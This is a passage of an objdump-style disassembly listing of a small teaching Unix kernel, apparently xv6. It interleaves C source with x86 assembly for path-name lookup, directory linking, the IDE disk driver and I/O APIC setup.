00 movl $0x0,0x8(%esp) 80101d72: 00 80101d73: 89 7c 24 04 mov %edi,0x4(%esp) 80101d77: 89 34 24 mov %esi,(%esp) 80101d7a: e8 51 fe ff ff call 80101bd0 <dirlookup> 80101d7f: 85 c0 test %eax,%eax 80101d81: 74 5d je 80101de0 <namex+0x150> // Common idiom: unlock, then put. void iunlockput(struct inode *ip) { iunlock(ip); 80101d83: 89 34 24 mov %esi,(%esp) 80101d86: 89 45 e4 mov %eax,-0x1c(%ebp) 80101d89: e8 12 fa ff ff call 801017a0 <iunlock> iput(ip); 80101d8e: 89 34 24 mov %esi,(%esp) 80101d91: e8 4a fa ff ff call 801017e0 <iput> if((next = dirlookup(ip, name, 0)) == 0){ iunlockput(ip); return 0; } iunlockput(ip); ip = next; 80101d96: 8b 45 e4 mov -0x1c(%ebp),%eax 80101d99: 89 c6 mov %eax,%esi 80101d9b: e9 33 ff ff ff jmp 80101cd3 <namex+0x43> while(*path == '/') path++; if(*path == 0) return 0; s = path; while(*path != '/' && *path != 0) 80101da0: 31 c9 xor %ecx,%ecx 80101da2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi path++; len = path - s; if(len >= DIRSIZ) memmove(name, s, DIRSIZ); else { memmove(name, s, len); 80101da8: 89 4c 24 08 mov %ecx,0x8(%esp) 80101dac: 89 5c 24 04 mov %ebx,0x4(%esp) 80101db0: 89 3c 24 mov %edi,(%esp) 80101db3: 89 55 dc mov %edx,-0x24(%ebp) 80101db6: 89 4d e4 mov %ecx,-0x1c(%ebp) 80101db9: e8 d2 25 00 00 call 80104390 <memmove> name[len] = 0; 80101dbe: 8b 4d e4 mov -0x1c(%ebp),%ecx 80101dc1: 8b 55 dc mov -0x24(%ebp),%edx 80101dc4: c6 04 0f 00 movb $0x0,(%edi,%ecx,1) 80101dc8: 89 d3 mov %edx,%ebx 80101dca: e9 66 ff ff ff jmp 80101d35 <namex+0xa5> return 0; } iunlockput(ip); ip = next; } if(nameiparent){ 80101dcf: 8b 45 e0 mov -0x20(%ebp),%eax 80101dd2: 85 c0 test %eax,%eax 80101dd4: 75 4c jne 80101e22 <namex+0x192> 80101dd6: 89 f0 mov %esi,%eax iput(ip); return 0; } return ip; } 80101dd8: 83 c4 2c add $0x2c,%esp 80101ddb: 5b pop %ebx 80101ddc: 5e pop %esi 80101ddd: 5f pop %edi 80101dde: 5d pop %ebp 80101ddf: c3 ret // Common idiom: unlock, then put. void iunlockput(struct inode *ip) { iunlock(ip); 80101de0: 89 34 24 mov %esi,(%esp) 80101de3: e8 b8 f9 ff ff call 801017a0 <iunlock> iput(ip); 80101de8: 89 34 24 mov %esi,(%esp) 80101deb: e8 f0 f9 ff ff call 801017e0 <iput> if(nameiparent){ iput(ip); return 0; } return ip; } 80101df0: 83 c4 2c add $0x2c,%esp iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ iunlockput(ip); return 0; 80101df3: 31 c0 xor %eax,%eax if(nameiparent){ iput(ip); return 0; } return ip; } 80101df5: 5b pop %ebx 80101df6: 5e pop %esi 80101df7: 5f pop %edi 80101df8: 5d pop %ebp 80101df9: c3 ret namex(char *path, int nameiparent, char *name) { struct inode *ip, *next; if(*path == '/') ip = iget(ROOTDEV, ROOTINO); 80101dfa: ba 01 00 00 00 mov $0x1,%edx 80101dff: b8 01 00 00 00 mov $0x1,%eax 80101e04: e8 17 f4 ff ff call 80101220 <iget> 80101e09: 89 c6 mov %eax,%esi 80101e0b: e9 c3 fe ff ff jmp 80101cd3 <namex+0x43> iunlockput(ip); return 0; } if(nameiparent && *path == '\0'){ // Stop one level early. iunlock(ip); 80101e10: 89 34 24 mov %esi,(%esp) 80101e13: e8 88 f9 ff ff call 801017a0 <iunlock> if(nameiparent){ iput(ip); return 0; } return ip; } 80101e18: 83 c4 2c add $0x2c,%esp return 0; } if(nameiparent && *path == '\0'){ // Stop one level early. iunlock(ip); return ip; 80101e1b: 89 f0 mov %esi,%eax if(nameiparent){ iput(ip); return 0; } return ip; } 80101e1d: 5b pop %ebx 80101e1e: 5e pop %esi 80101e1f: 5f pop %edi 80101e20: 5d pop %ebp 80101e21: c3 ret } iunlockput(ip); ip = next; } if(nameiparent){ iput(ip); 80101e22: 89 34 24 mov %esi,(%esp) 80101e25: e8 b6 f9 ff ff call 801017e0 <iput> return 0; 80101e2a: 31 c0 xor %eax,%eax 80101e2c: eb aa jmp 80101dd8 <namex+0x148> 80101e2e: 66 90 xchg %ax,%ax 80101e30 <dirlink>: } // Write a new directory entry (name, inum) into the directory dp. int dirlink(struct inode *dp, char *name, uint inum) { 80101e30: 55 push %ebp 80101e31: 89 e5 mov %esp,%ebp 80101e33: 57 push %edi 80101e34: 56 push %esi 80101e35: 53 push %ebx 80101e36: 83 ec 2c sub $0x2c,%esp 80101e39: 8b 5d 08 mov 0x8(%ebp),%ebx int off; struct dirent de; struct inode *ip; // Check that name is not present. if((ip = dirlookup(dp, name, 0)) != 0){ 80101e3c: 8b 45 0c mov 0xc(%ebp),%eax 80101e3f: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80101e46: 00 80101e47: 89 1c 24 mov %ebx,(%esp) 80101e4a: 89 44 24 04 mov %eax,0x4(%esp) 80101e4e: e8 7d fd ff ff call 80101bd0 <dirlookup> 80101e53: 85 c0 test %eax,%eax 80101e55: 0f 85 8b 00 00 00 jne 80101ee6 <dirlink+0xb6> iput(ip); return -1; } // Look for an empty dirent. for(off = 0; off < dp->size; off += sizeof(de)){ 80101e5b: 8b 43 58 mov 0x58(%ebx),%eax 80101e5e: 31 ff xor %edi,%edi 80101e60: 8d 75 d8 lea -0x28(%ebp),%esi 80101e63: 85 c0 test %eax,%eax 80101e65: 75 13 jne 80101e7a <dirlink+0x4a> 80101e67: eb 35 jmp 80101e9e <dirlink+0x6e> 80101e69: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101e70: 8d 57 10 lea 0x10(%edi),%edx 80101e73: 39 53 58 cmp %edx,0x58(%ebx) 80101e76: 89 d7 mov %edx,%edi 80101e78: 76 24 jbe 80101e9e <dirlink+0x6e> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101e7a: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101e81: 00 80101e82: 89 7c 24 08 mov %edi,0x8(%esp) 80101e86: 89 74 24 04 mov %esi,0x4(%esp) 80101e8a: 89 1c 24 mov %ebx,(%esp) 80101e8d: e8 de fa ff ff call 80101970 <readi> 80101e92: 83 f8 10 cmp $0x10,%eax 80101e95: 75 5e jne 80101ef5 <dirlink+0xc5> panic("dirlink read"); if(de.inum == 0) 80101e97: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101e9c: 75 d2 jne 80101e70 <dirlink+0x40> break; } strncpy(de.name, name, DIRSIZ); 80101e9e: 8b 45 0c mov 0xc(%ebp),%eax 80101ea1: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101ea8: 00 80101ea9: 89 44 24 04 mov %eax,0x4(%esp) 80101ead: 8d 45 da lea -0x26(%ebp),%eax 80101eb0: 89 04 24 mov %eax,(%esp) 80101eb3: e8 c8 25 00 00 call 80104480 <strncpy> de.inum = inum; 80101eb8: 8b 45 10 mov 0x10(%ebp),%eax if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101ebb: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101ec2: 00 80101ec3: 89 7c 24 08 mov %edi,0x8(%esp) 80101ec7: 89 74 24 04 mov %esi,0x4(%esp) 80101ecb: 89 1c 24 mov %ebx,(%esp) if(de.inum == 0) break; } strncpy(de.name, name, DIRSIZ); de.inum = inum; 80101ece: 66 89 45 d8 mov %ax,-0x28(%ebp) if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101ed2: e8 99 fb ff ff call 80101a70 <writei> 80101ed7: 83 f8 10 cmp $0x10,%eax 80101eda: 75 25 jne 80101f01 <dirlink+0xd1> panic("dirlink"); return 0; 80101edc: 31 c0 xor %eax,%eax } 80101ede: 83 c4 2c add $0x2c,%esp 80101ee1: 5b pop %ebx 80101ee2: 5e pop %esi 80101ee3: 5f pop %edi 80101ee4: 5d pop %ebp 80101ee5: c3 ret struct dirent de; struct inode *ip; // Check that name is not present. if((ip = dirlookup(dp, name, 0)) != 0){ iput(ip); 80101ee6: 89 04 24 mov %eax,(%esp) 80101ee9: e8 f2 f8 ff ff call 801017e0 <iput> return -1; 80101eee: b8 ff ff ff ff mov $0xffffffff,%eax 80101ef3: eb e9 jmp 80101ede <dirlink+0xae> } // Look for an empty dirent. for(off = 0; off < dp->size; off += sizeof(de)){ if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlink read"); 80101ef5: c7 04 24 c8 71 10 80 movl $0x801071c8,(%esp) 80101efc: e8 5f e4 ff ff call 80100360 <panic> } strncpy(de.name, name, DIRSIZ); de.inum = inum; if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) panic("dirlink"); 80101f01: c7 04 24 ca 77 10 80 movl $0x801077ca,(%esp) 80101f08: e8 53 e4 ff ff call 80100360 <panic> 80101f0d: 8d 76 00 lea 0x0(%esi),%esi 80101f10 <namei>: return ip; } struct inode* namei(char *path) { 80101f10: 55 push %ebp char name[DIRSIZ]; return namex(path, 0, name); 80101f11: 31 d2 xor %edx,%edx return ip; } struct inode* namei(char *path) { 80101f13: 89 e5 mov %esp,%ebp 80101f15: 83 ec 18 sub $0x18,%esp char name[DIRSIZ]; return namex(path, 0, name); 80101f18: 8b 45 08 mov 0x8(%ebp),%eax 80101f1b: 8d 4d ea lea -0x16(%ebp),%ecx 80101f1e: e8 6d fd ff ff call 80101c90 <namex> } 80101f23: c9 leave 80101f24: c3 ret 80101f25: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101f29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101f30 <nameiparent>: struct inode* nameiparent(char *path, char *name) { 80101f30: 55 push %ebp return namex(path, 1, name); 80101f31: ba 01 00 00 00 mov $0x1,%edx return namex(path, 0, name); } struct inode* nameiparent(char *path, char *name) { 80101f36: 89 e5 mov %esp,%ebp return namex(path, 1, name); 80101f38: 8b 4d 0c mov 0xc(%ebp),%ecx 80101f3b: 8b 45 08 mov 0x8(%ebp),%eax } 80101f3e: 5d pop %ebp } struct inode* nameiparent(char *path, char *name) { return namex(path, 1, name); 80101f3f: e9 4c fd ff ff jmp 80101c90 <namex> 80101f44: 66 90 xchg %ax,%ax 80101f46: 66 90 xchg %ax,%ax 80101f48: 66 90 xchg %ax,%ax 80101f4a: 66 90 xchg %ax,%ax 80101f4c: 66 90 xchg %ax,%ax 80101f4e: 66 90 xchg %ax,%ax 80101f50 <idestart>: } // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { 80101f50: 55 push %ebp 80101f51: 89 e5 mov %esp,%ebp 80101f53: 56 push %esi 80101f54: 89 c6 mov %eax,%esi 80101f56: 53 push %ebx 80101f57: 83 ec 10 sub $0x10,%esp if(b == 0) 80101f5a: 85 c0 test %eax,%eax 80101f5c: 0f 84 99 00 00 00 je 80101ffb <idestart+0xab> panic("idestart"); if(b->blockno >= FSSIZE) 80101f62: 8b 48 08 mov 0x8(%eax),%ecx 80101f65: 81 f9 e7 03 00 00 cmp $0x3e7,%ecx 80101f6b: 0f 87 7e 00 00 00 ja 80101fef <idestart+0x9f> static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80101f71: ba f7 01 00 00 mov $0x1f7,%edx 80101f76: 66 90 xchg %ax,%ax 80101f78: ec in (%dx),%al static int idewait(int checkerr) { int r; while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80101f79: 83 e0 c0 and $0xffffffc0,%eax 80101f7c: 3c 40 cmp $0x40,%al 80101f7e: 75 f8 jne 80101f78 <idestart+0x28> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80101f80: 31 db xor %ebx,%ebx 80101f82: ba f6 03 00 00 mov $0x3f6,%edx 80101f87: 89 d8 mov %ebx,%eax 80101f89: ee out %al,(%dx) 80101f8a: ba f2 01 00 00 mov $0x1f2,%edx 80101f8f: b8 01 00 00 00 mov $0x1,%eax 80101f94: ee out %al,(%dx) 80101f95: 0f b6 c1 movzbl %cl,%eax 80101f98: b2 f3 mov $0xf3,%dl 80101f9a: ee out %al,(%dx) idewait(0); outb(0x3f6, 0); // generate interrupt outb(0x1f2, sector_per_block); // number of sectors outb(0x1f3, sector & 0xff); outb(0x1f4, (sector >> 8) & 0xff); 80101f9b: 89 c8 mov %ecx,%eax 80101f9d: b2 f4 mov $0xf4,%dl 80101f9f: c1 f8 08 sar $0x8,%eax 80101fa2: ee out %al,(%dx) 80101fa3: b2 f5 mov $0xf5,%dl 80101fa5: 89 d8 mov %ebx,%eax 80101fa7: ee out %al,(%dx) outb(0x1f5, (sector >> 16) & 0xff); outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); 80101fa8: 0f b6 46 04 movzbl 0x4(%esi),%eax 80101fac: b2 f6 mov $0xf6,%dl 80101fae: 83 e0 01 and $0x1,%eax 80101fb1: c1 e0 04 shl $0x4,%eax 80101fb4: 83 c8 e0 or $0xffffffe0,%eax 80101fb7: ee out %al,(%dx) if(b->flags & B_DIRTY){ 80101fb8: f6 06 04 testb $0x4,(%esi) 80101fbb: 75 13 jne 80101fd0 <idestart+0x80> 80101fbd: ba f7 01 00 00 mov $0x1f7,%edx 80101fc2: b8 20 00 00 00 mov $0x20,%eax 80101fc7: ee out %al,(%dx) outb(0x1f7, write_cmd); outsl(0x1f0, b->data, BSIZE/4); } else { outb(0x1f7, read_cmd); } } 80101fc8: 83 c4 10 add $0x10,%esp 80101fcb: 5b pop %ebx 80101fcc: 5e pop %esi 80101fcd: 5d pop %ebp 80101fce: c3 ret 80101fcf: 90 nop 80101fd0: b2 f7 mov $0xf7,%dl 80101fd2: b8 30 00 00 00 mov $0x30,%eax 80101fd7: ee out %al,(%dx) } static inline void outsl(int port, const void *addr, int cnt) { asm volatile("cld; rep outsl" : 80101fd8: b9 80 00 00 00 mov $0x80,%ecx outb(0x1f4, (sector >> 8) & 0xff); outb(0x1f5, (sector >> 16) & 0xff); outb(0x1f6, 0xe0 | ((b->dev&1)<<4) | ((sector>>24)&0x0f)); if(b->flags & B_DIRTY){ outb(0x1f7, write_cmd); outsl(0x1f0, b->data, BSIZE/4); 80101fdd: 83 c6 5c add $0x5c,%esi 80101fe0: ba f0 01 00 00 mov $0x1f0,%edx 80101fe5: fc cld 80101fe6: f3 6f rep outsl %ds:(%esi),(%dx) } else { outb(0x1f7, read_cmd); } } 80101fe8: 83 c4 10 add $0x10,%esp 80101feb: 5b pop %ebx 80101fec: 5e pop %esi 80101fed: 5d pop %ebp 80101fee: c3 ret idestart(struct buf *b) { if(b == 0) panic("idestart"); if(b->blockno >= FSSIZE) panic("incorrect blockno"); 80101fef: c7 04 24 34 72 10 80 movl $0x80107234,(%esp) 80101ff6: e8 65 e3 ff ff call 80100360 <panic> // Start the request for b. Caller must hold idelock. static void idestart(struct buf *b) { if(b == 0) panic("idestart"); 80101ffb: c7 04 24 2b 72 10 80 movl $0x8010722b,(%esp) 80102002: e8 59 e3 ff ff call 80100360 <panic> 80102007: 89 f6 mov %esi,%esi 80102009: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102010 <ideinit>: return 0; } void ideinit(void) { 80102010: 55 push %ebp 80102011: 89 e5 mov %esp,%ebp 80102013: 83 ec 18 sub $0x18,%esp int i; initlock(&idelock, "ide"); 80102016: c7 44 24 04 46 72 10 movl $0x80107246,0x4(%esp) 8010201d: 80 8010201e: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 80102025: e8 96 20 00 00 call 801040c0 <initlock> ioapicenable(IRQ_IDE, ncpu - 1); 8010202a: a1 00 2d 11 80 mov 0x80112d00,%eax 8010202f: c7 04 24 0e 00 00 00 movl $0xe,(%esp) 80102036: 83 e8 01 sub $0x1,%eax 80102039: 89 44 24 04 mov %eax,0x4(%esp) 8010203d: e8 7e 02 00 00 call 801022c0 <ioapicenable> static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102042: ba f7 01 00 00 mov $0x1f7,%edx 80102047: 90 nop 80102048: ec in (%dx),%al static int idewait(int checkerr) { int r; while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80102049: 83 e0 c0 and $0xffffffc0,%eax 8010204c: 3c 40 cmp $0x40,%al 8010204e: 75 f8 jne 80102048 <ideinit+0x38> } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80102050: ba f6 01 00 00 mov $0x1f6,%edx 80102055: b8 f0 ff ff ff mov $0xfffffff0,%eax 8010205a: ee out %al,(%dx) 8010205b: b9 e8 03 00 00 mov $0x3e8,%ecx static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80102060: b2 f7 mov $0xf7,%dl 80102062: eb 09 jmp 8010206d <ideinit+0x5d> 80102064: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ioapicenable(IRQ_IDE, ncpu - 1); idewait(0); // Check if disk 1 is present outb(0x1f6, 0xe0 | (1<<4)); for(i=0; i<1000; i++){ 80102068: 83 e9 01 sub $0x1,%ecx 8010206b: 74 0f je 8010207c <ideinit+0x6c> 8010206d: ec in (%dx),%al if(inb(0x1f7) != 0){ 8010206e: 84 c0 test %al,%al 80102070: 74 f6 je 80102068 <ideinit+0x58> havedisk1 = 1; 80102072: c7 05 60 a5 10 80 01 movl $0x1,0x8010a560 80102079: 00 00 00 } static inline void outb(ushort port, uchar data) { asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010207c: ba f6 01 00 00 mov $0x1f6,%edx 80102081: b8 e0 ff ff ff mov $0xffffffe0,%eax 80102086: ee out %al,(%dx) } } // Switch back to disk 0. outb(0x1f6, 0xe0 | (0<<4)); } 80102087: c9 leave 80102088: c3 ret 80102089: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102090 <ideintr>: } // Interrupt handler. void ideintr(void) { 80102090: 55 push %ebp 80102091: 89 e5 mov %esp,%ebp 80102093: 57 push %edi 80102094: 56 push %esi 80102095: 53 push %ebx 80102096: 83 ec 1c sub $0x1c,%esp struct buf *b; // First queued buffer is the active request. acquire(&idelock); 80102099: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 801020a0: e8 8b 21 00 00 call 80104230 <acquire> if((b = idequeue) == 0){ 801020a5: 8b 1d 64 a5 10 80 mov 0x8010a564,%ebx 801020ab: 85 db test %ebx,%ebx 801020ad: 74 30 je 801020df <ideintr+0x4f> release(&idelock); return; } idequeue = b->qnext; 801020af: 8b 43 58 mov 0x58(%ebx),%eax 801020b2: a3 64 a5 10 80 mov %eax,0x8010a564 // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) 801020b7: 8b 33 mov (%ebx),%esi 801020b9: f7 c6 04 00 00 00 test $0x4,%esi 801020bf: 74 37 je 801020f8 <ideintr+0x68> insl(0x1f0, b->data, BSIZE/4); // Wake process waiting for this buf. b->flags |= B_VALID; b->flags &= ~B_DIRTY; 801020c1: 83 e6 fb and $0xfffffffb,%esi 801020c4: 83 ce 02 or $0x2,%esi 801020c7: 89 33 mov %esi,(%ebx) wakeup(b); 801020c9: 89 1c 24 mov %ebx,(%esp) 801020cc: e8 ff 1c 00 00 call 80103dd0 <wakeup> // Start disk on next buf in queue. if(idequeue != 0) 801020d1: a1 64 a5 10 80 mov 0x8010a564,%eax 801020d6: 85 c0 test %eax,%eax 801020d8: 74 05 je 801020df <ideintr+0x4f> idestart(idequeue); 801020da: e8 71 fe ff ff call 80101f50 <idestart> // First queued buffer is the active request. acquire(&idelock); if((b = idequeue) == 0){ release(&idelock); 801020df: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 801020e6: e8 b5 21 00 00 call 801042a0 <release> // Start disk on next buf in queue. if(idequeue != 0) idestart(idequeue); release(&idelock); } 801020eb: 83 c4 1c add $0x1c,%esp 801020ee: 5b pop %ebx 801020ef: 5e pop %esi 801020f0: 5f pop %edi 801020f1: 5d pop %ebp 801020f2: c3 ret 801020f3: 90 nop 801020f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi static inline uchar inb(ushort port) { uchar data; asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801020f8: ba f7 01 00 00 mov $0x1f7,%edx 801020fd: 8d 76 00 lea 0x0(%esi),%esi 80102100: ec in (%dx),%al static int idewait(int checkerr) { int r; while(((r = inb(0x1f7)) & (IDE_BSY|IDE_DRDY)) != IDE_DRDY) 80102101: 89 c1 mov %eax,%ecx 80102103: 83 e1 c0 and $0xffffffc0,%ecx 80102106: 80 f9 40 cmp $0x40,%cl 80102109: 75 f5 jne 80102100 <ideintr+0x70> ; if(checkerr && (r & (IDE_DF|IDE_ERR)) != 0) 8010210b: a8 21 test $0x21,%al 8010210d: 75 b2 jne 801020c1 <ideintr+0x31> } idequeue = b->qnext; // Read data if needed. if(!(b->flags & B_DIRTY) && idewait(1) >= 0) insl(0x1f0, b->data, BSIZE/4); 8010210f: 8d 7b 5c lea 0x5c(%ebx),%edi } static inline void insl(int port, void *addr, int cnt) { asm volatile("cld; rep insl" : 80102112: b9 80 00 00 00 mov $0x80,%ecx 80102117: ba f0 01 00 00 mov $0x1f0,%edx 8010211c: fc cld 8010211d: f3 6d rep insl (%dx),%es:(%edi) 8010211f: 8b 33 mov (%ebx),%esi 80102121: eb 9e jmp 801020c1 <ideintr+0x31> 80102123: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80102129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80102130 <iderw>: // Sync buf with disk. // If B_DIRTY is set, write buf to disk, clear B_DIRTY, set B_VALID. // Else if B_VALID is not set, read buf from disk, set B_VALID. void iderw(struct buf *b) { 80102130: 55 push %ebp 80102131: 89 e5 mov %esp,%ebp 80102133: 53 push %ebx 80102134: 83 ec 14 sub $0x14,%esp 80102137: 8b 5d 08 mov 0x8(%ebp),%ebx struct buf **pp; if(!holdingsleep(&b->lock)) 8010213a: 8d 43 0c lea 0xc(%ebx),%eax 8010213d: 89 04 24 mov %eax,(%esp) 80102140: e8 2b 1f 00 00 call 80104070 <holdingsleep> 80102145: 85 c0 test %eax,%eax 80102147: 0f 84 9e 00 00 00 je 801021eb <iderw+0xbb> panic("iderw: buf not locked"); if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) 8010214d: 8b 03 mov (%ebx),%eax 8010214f: 83 e0 06 and $0x6,%eax 80102152: 83 f8 02 cmp $0x2,%eax 80102155: 0f 84 a8 00 00 00 je 80102203 <iderw+0xd3> panic("iderw: nothing to do"); if(b->dev != 0 && !havedisk1) 8010215b: 8b 53 04 mov 0x4(%ebx),%edx 8010215e: 85 d2 test %edx,%edx 80102160: 74 0d je 8010216f <iderw+0x3f> 80102162: a1 60 a5 10 80 mov 0x8010a560,%eax 80102167: 85 c0 test %eax,%eax 80102169: 0f 84 88 00 00 00 je 801021f7 <iderw+0xc7> panic("iderw: ide disk 1 not present"); acquire(&idelock); //DOC:acquire-lock 8010216f: c7 04 24 80 a5 10 80 movl $0x8010a580,(%esp) 80102176: e8 b5 20 00 00 call 80104230 <acquire> // Append b to idequeue. b->qnext = 0; for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 8010217b: a1 64 a5 10 80 mov 0x8010a564,%eax panic("iderw: ide disk 1 not present"); acquire(&idelock); //DOC:acquire-lock // Append b to idequeue. b->qnext = 0; 80102180: c7 43 58 00 00 00 00 movl $0x0,0x58(%ebx) for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 80102187: 85 c0 test %eax,%eax 80102189: 75 07 jne 80102192 <iderw+0x62> 8010218b: eb 4e jmp 801021db <iderw+0xab> 8010218d: 8d 76 00 lea 0x0(%esi),%esi 80102190: 89 d0 mov %edx,%eax 80102192: 8b 50 58 mov 0x58(%eax),%edx 80102195: 85 d2 test %edx,%edx 80102197: 75 f7 jne 80102190 <iderw+0x60> 80102199: 83 c0 58 add $0x58,%eax ; *pp = b; 8010219c: 89 18 mov %ebx,(%eax) // Start disk if necessary. if(idequeue == b) 8010219e: 39 1d 64 a5 10 80 cmp %ebx,0x8010a564 801021a4: 74 3c je 801021e2 <iderw+0xb2> idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 801021a6: 8b 03 mov (%ebx),%eax 801021a8: 83 e0 06 and $0x6,%eax 801021ab: 83 f8 02 cmp $0x2,%eax 801021ae: 74 1a je 801021ca <iderw+0x9a> sleep(b, &idelock); 801021b0: c7 44 24 04 80 a5 10 movl $0x8010a580,0x4(%esp) 801021b7: 80 801021b8: 89 1c 24 mov %ebx,(%esp) 801021bb: e8 70 1a 00 00 call 80103c30 <sleep> // Start disk if necessary. if(idequeue == b) idestart(b); // Wait for request to finish. while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ 801021c0: 8b 13 mov (%ebx),%edx 801021c2: 83 e2 06 and $0x6,%edx 801021c5: 83 fa 02 cmp $0x2,%edx 801021c8: 75 e6 jne 801021b0 <iderw+0x80> sleep(b, &idelock); } release(&idelock); 801021ca: c7 45 08 80 a5 10 80 movl $0x8010a580,0x8(%ebp) } 801021d1: 83 c4 14 add $0x14,%esp 801021d4: 5b pop %ebx 801021d5: 5d pop %ebp while((b->flags & (B_VALID|B_DIRTY)) != B_VALID){ sleep(b, &idelock); } release(&idelock); 801021d6: e9 c5 20 00 00 jmp 801042a0 <release> acquire(&idelock); //DOC:acquire-lock // Append b to idequeue. b->qnext = 0; for(pp=&idequeue; *pp; pp=&(*pp)->qnext) //DOC:insert-queue 801021db: b8 64 a5 10 80 mov $0x8010a564,%eax 801021e0: eb ba jmp 8010219c <iderw+0x6c> ; *pp = b; // Start disk if necessary. if(idequeue == b) idestart(b); 801021e2: 89 d8 mov %ebx,%eax 801021e4: e8 67 fd ff ff call 80101f50 <idestart> 801021e9: eb bb jmp 801021a6 <iderw+0x76> iderw(struct buf *b) { struct buf **pp; if(!holdingsleep(&b->lock)) panic("iderw: buf not locked"); 801021eb: c7 04 24 4a 72 10 80 movl $0x8010724a,(%esp) 801021f2: e8 69 e1 ff ff call 80100360 <panic> if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) panic("iderw: nothing to do"); if(b->dev != 0 && !havedisk1) panic("iderw: ide disk 1 not present"); 801021f7: c7 04 24 75 72 10 80 movl $0x80107275,(%esp) 801021fe: e8 5d e1 ff ff call 80100360 <panic> struct buf **pp; if(!holdingsleep(&b->lock)) panic("iderw: buf not locked"); if((b->flags & (B_VALID|B_DIRTY)) == B_VALID) panic("iderw: nothing to do"); 80102203: c7 04 24 60 72 10 80 movl $0x80107260,(%esp) 8010220a: e8 51 e1 ff ff call 80100360 <panic> 8010220f: 90 nop 80102210 <ioapicinit>: ioapic->data = data; } void ioapicinit(void) { 80102210: 55 push %ebp 80102211: 89 e5 mov %esp,%ebp 80102213: 56 push %esi 80102214: 53 push %ebx 80102215: 83 ec 10 sub $0x10,%esp int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; 80102218: c7 05 34 26 11 80 00 movl $0xfec00000,0x80112634 8010221f: 00 c0 fe }; static uint ioapicread(int reg) { ioapic->reg = reg; 80102222: c7 05 00 00 c0 fe 01 movl $0x1,0xfec00000 80102229: 00 00 00 return ioapic->data; 8010222c: 8b 15 34 26 11 80 mov 0x80112634,%edx 80102232: 8b 42 10 mov 0x10(%edx),%eax }; static uint ioapicread(int reg) { ioapic->reg = reg; 80102235: c7 02 00 00 00 00 movl $0x0,(%edx) return ioapic->data; 8010223b: 8b 1d 34 26 11 80 mov 0x80112634,%ebx int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; id = ioapicread(REG_ID) >> 24; if(id != ioapicid) 80102241: 0f b6 15 60 27 11 80 movzbl 0x80112760,%edx ioapicinit(void) { int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; 80102248: c1 e8 10 shr $0x10,%eax 8010224b: 0f b6 f0 movzbl %al,%esi static uint ioapicread(int reg) { ioapic->reg = reg; return ioapic->data; 8010224e: 8b 43 10 mov 0x10(%ebx),%eax { int i, id, maxintr; ioapic = (volatile struct ioapic*)IOAPIC; maxintr = (ioapicread(REG_VER) >> 16) & 0xFF; id = ioapicread(REG_ID) >> 24; 80102251: c1 e8 18 shr $0x18,%eax if(id != ioapicid) 80102254: 39 c2 cmp %eax,%edx 80102256: 74 12 je 8010226a <ioapicinit+0x5a> cprintf("ioapicinit: id isn't equal to ioapicid; not a MP\n"); 80102258: c7 04 24 94 72 10 80 movl $0x80107294,(%esp) 8010225f: e8 ec e3 ff ff call 80100650 <cprintf> 80102264: 8b 1d 34 26 11 80 mov 0x80112634,%ebx 8010226a: ba 10 00 00 00 mov $0x10,%edx 8010226f: 31 c0 xor %eax,%eax 80102271: eb 07 jmp 8010227a <ioapicinit+0x6a> 80102273: 90 nop 80102274: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80102278: 89 cb mov %ecx,%ebx } static void ioapicwrite(int reg, uint data) { ioapic->reg = reg; 8010227a: 89 13 mov 